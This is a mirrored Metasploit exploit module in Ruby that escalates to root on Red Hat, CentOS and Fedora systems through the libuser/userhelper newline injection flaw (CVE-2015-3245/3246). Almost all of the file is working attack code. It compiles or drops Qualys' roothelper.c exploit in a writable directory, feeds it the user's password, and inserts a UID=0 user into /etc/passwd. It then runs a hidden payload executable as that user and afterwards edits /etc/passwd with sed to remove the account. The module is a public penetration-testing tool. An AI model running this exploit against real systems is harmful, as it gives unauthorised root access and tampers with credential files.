CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
include Msf::Post::File
10
include Msf::Post::Linux::Priv
11
include Msf::Post::Linux::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Libuser roothelper Privilege Escalation',
21
'Description' => %q{
22
This module attempts to gain root privileges on Red Hat based Linux
23
systems, including RHEL, Fedora and CentOS, by exploiting a newline
24
injection vulnerability in libuser and userhelper versions prior to
25
0.56.13-8 and version 0.60 before 0.60-7.
26
27
This module makes use of the roothelper.c exploit from Qualys to
28
insert a new user with UID=0 in /etc/passwd.
29
30
Note, the password for the current user is required by userhelper.
31
32
Note, on some systems, such as Fedora 11, the user entry for the
33
current user in /etc/passwd will become corrupted and exploitation
34
will fail.
35
36
This module has been tested successfully on libuser packaged versions
37
0.56.13-4.el6 on CentOS 6.0 (x86_64);
38
0.56.13-5.el6 on CentOS 6.5 (x86_64);
39
0.60-5.el7 on CentOS 7.1-1503 (x86_64);
40
0.56.16-1.fc13 on Fedora 13 (i686);
41
0.59-1.fc19 on Fedora Desktop 19 (x86_64);
42
0.60-3.fc20 on Fedora Desktop 20 (x86_64);
43
0.60-6.fc21 on Fedora Desktop 21 (x86_64);
44
0.60-6.fc22 on Fedora Desktop 22 (x86_64);
45
0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
46
0.60-5.el7 on Red Hat 7.0 (x86_64).
47
48
RHEL 5 is vulnerable, however the installed version of glibc (2.5)
49
is missing various functions required by roothelper.c.
50
},
51
'License' => MSF_LICENSE,
52
'Author' => [
53
'Qualys', # Discovery and C exploit
54
'bcoles' # Metasploit
55
],
56
'DisclosureDate' => '2015-07-24',
57
'Platform' => [ 'linux' ],
58
'Arch' => [ ARCH_X86, ARCH_X64 ],
59
'SessionTypes' => [ 'shell', 'meterpreter' ],
60
'Targets' => [[ 'Auto', {} ]],
61
'Privileged' => true,
62
'References' => [
63
[ 'EDB', '37706' ],
64
[ 'CVE', '2015-3245' ],
65
[ 'CVE', '2015-3246' ],
66
[ 'BID', '76021' ],
67
[ 'BID', '76022' ],
68
[ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],
69
[ 'URL', 'https://access.redhat.com/articles/1537873' ]
70
],
71
'DefaultTarget' => 0,
72
'Compat' => {
73
'Meterpreter' => {
74
'Commands' => %w[
75
stdapi_sys_process_execute
76
]
77
}
78
},
79
'Notes' => {
80
'AKA' => ['roothelper.c'],
81
'Stability' => [SERVICE_RESOURCE_LOSS],
82
'Reliability' => [REPEATABLE_SESSION],
83
'SideEffects' => [ARTIFACTS_ON_DISK]
84
}
85
)
86
)
87
register_options [
88
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
89
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
90
]
91
register_advanced_options [
92
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
93
]
94
end
95
96
def base_dir
97
datastore['WritableDir'].to_s
98
end
99
100
def password
101
datastore['PASSWORD'].to_s
102
end
103
104
def upload(path, data)
105
print_status "Writing '#{path}' (#{data.size} bytes) ..."
106
rm_f path
107
write_file path, data
108
register_file_for_cleanup path
109
end
110
111
def upload_and_chmodx(path, data)
112
upload path, data
113
cmd_exec "chmod +x '#{path}'"
114
end
115
116
def live_compile?
117
compile = false
118
119
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
120
if has_gcc?
121
vprint_good 'gcc is installed'
122
compile = true
123
else
124
unless datastore['COMPILE'].eql? 'Auto'
125
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
126
end
127
end
128
end
129
130
compile
131
end
132
133
def check
134
userhelper_path = '/usr/sbin/userhelper'
135
return CheckCode::Safe("#{userhelper_path} file not found") unless file? userhelper_path
136
return CheckCode::Safe("#{userhelper_path} is not setuid") unless setuid? userhelper_path
137
138
vprint_good "#{userhelper_path} is setuid"
139
140
unless command_exists? 'script'
141
vprint_error 'script is not installed. Exploitation will fail.'
142
return CheckCode::Safe
143
end
144
vprint_good 'script is installed'
145
146
if immutable?('/etc/passwd')
147
vprint_error 'File /etc/passwd is immutable'
148
return CheckCode::Safe
149
end
150
vprint_good 'File /etc/passwd is not immutable'
151
152
glibc_banner = cmd_exec 'ldd --version'
153
glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
154
if glibc_version.to_s.eql? ''
155
vprint_error 'Could not determine the GNU C library version'
156
return CheckCode::Detected
157
end
158
159
# roothelper.c requires functions only available since glibc 2.6+
160
if glibc_version < Rex::Version.new('2.6')
161
vprint_error "GNU C Library version #{glibc_version} is not supported"
162
return CheckCode::Safe
163
end
164
vprint_good "GNU C Library version #{glibc_version} is supported"
165
166
CheckCode::Detected
167
end
168
169
def exploit
170
if !datastore['ForceExploit'] && is_root?
171
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
172
end
173
174
unless writable? base_dir
175
fail_with Failure::BadConfig, "#{base_dir} is not writable"
176
end
177
178
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
179
executable_path = "#{base_dir}/#{executable_name}"
180
181
if live_compile?
182
vprint_status 'Live compiling exploit on system...'
183
184
# Upload Qualys' roothelper.c exploit:
185
# - https://www.exploit-db.com/exploits/37706/
186
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
187
fd = ::File.open path, 'rb'
188
c_code = fd.read fd.stat.size
189
fd.close
190
upload "#{executable_path}.c", c_code
191
output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
192
193
unless output.blank?
194
print_error output
195
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
196
end
197
198
cmd_exec "chmod +x #{executable_path}"
199
register_file_for_cleanup executable_path
200
else
201
vprint_status 'Dropping pre-compiled exploit on system...'
202
203
# Cross-compiled with:
204
# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
205
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
206
fd = ::File.open path, 'rb'
207
executable_data = fd.read fd.stat.size
208
fd.close
209
upload_and_chmodx executable_path, executable_data
210
end
211
212
# Run roothelper
213
timeout = 180
214
print_status "Launching roothelper exploit (Timeout: #{timeout})..."
215
output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
216
output.each_line { |line| vprint_status line.chomp }
217
218
if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
219
register_file_for_cleanup ::Regexp.last_match(1)
220
end
221
222
if output =~ /died in parent: .*.c:517: forkstop_userhelper/
223
fail_with Failure::NoAccess, 'Incorrect password'
224
end
225
226
@username = nil
227
228
if output =~ /Exploit successful, run "su ([a-z])" to become root/
229
@username = ::Regexp.last_match(1)
230
end
231
232
if @username.blank?
233
fail_with Failure::Unknown, 'Something went wrong'
234
end
235
236
print_good "Success! User '#{@username}' added to /etc/passwd"
237
238
# Upload payload executable
239
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
240
upload_and_chmodx payload_path, generate_payload_exe
241
242
# Execute payload executable
243
vprint_status 'Executing payload...'
244
cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
245
register_file_for_cleanup 'typescript'
246
end
247
248
#
249
# Remove new user from /etc/passwd
250
#
251
def on_new_session(session)
252
new_user_removed = false
253
254
if session.type.to_s.eql? 'meterpreter'
255
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
256
257
# Remove new user
258
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""
259
260
# Wait for clean up
261
Rex.sleep 5
262
263
# Check for new user in /etc/passwd
264
passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
265
unless passwd_contents =~ /^#{@username}:/
266
new_user_removed = true
267
end
268
elsif session.type.to_s.eql? 'shell'
269
# Remove new user
270
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"
271
272
# Check for new user in /etc/passwd
273
passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
274
unless passwd_user =~ /^#{@username}:/
275
new_user_removed = true
276
end
277
end
278
279
unless new_user_removed
280
print_warning "Could not remove user '#{@username}' from /etc/passwd"
281
end
282
rescue StandardError => e
283
print_error "Error during cleanup: #{e.message}"
284
ensure
285
super
286
end
287
end
288
289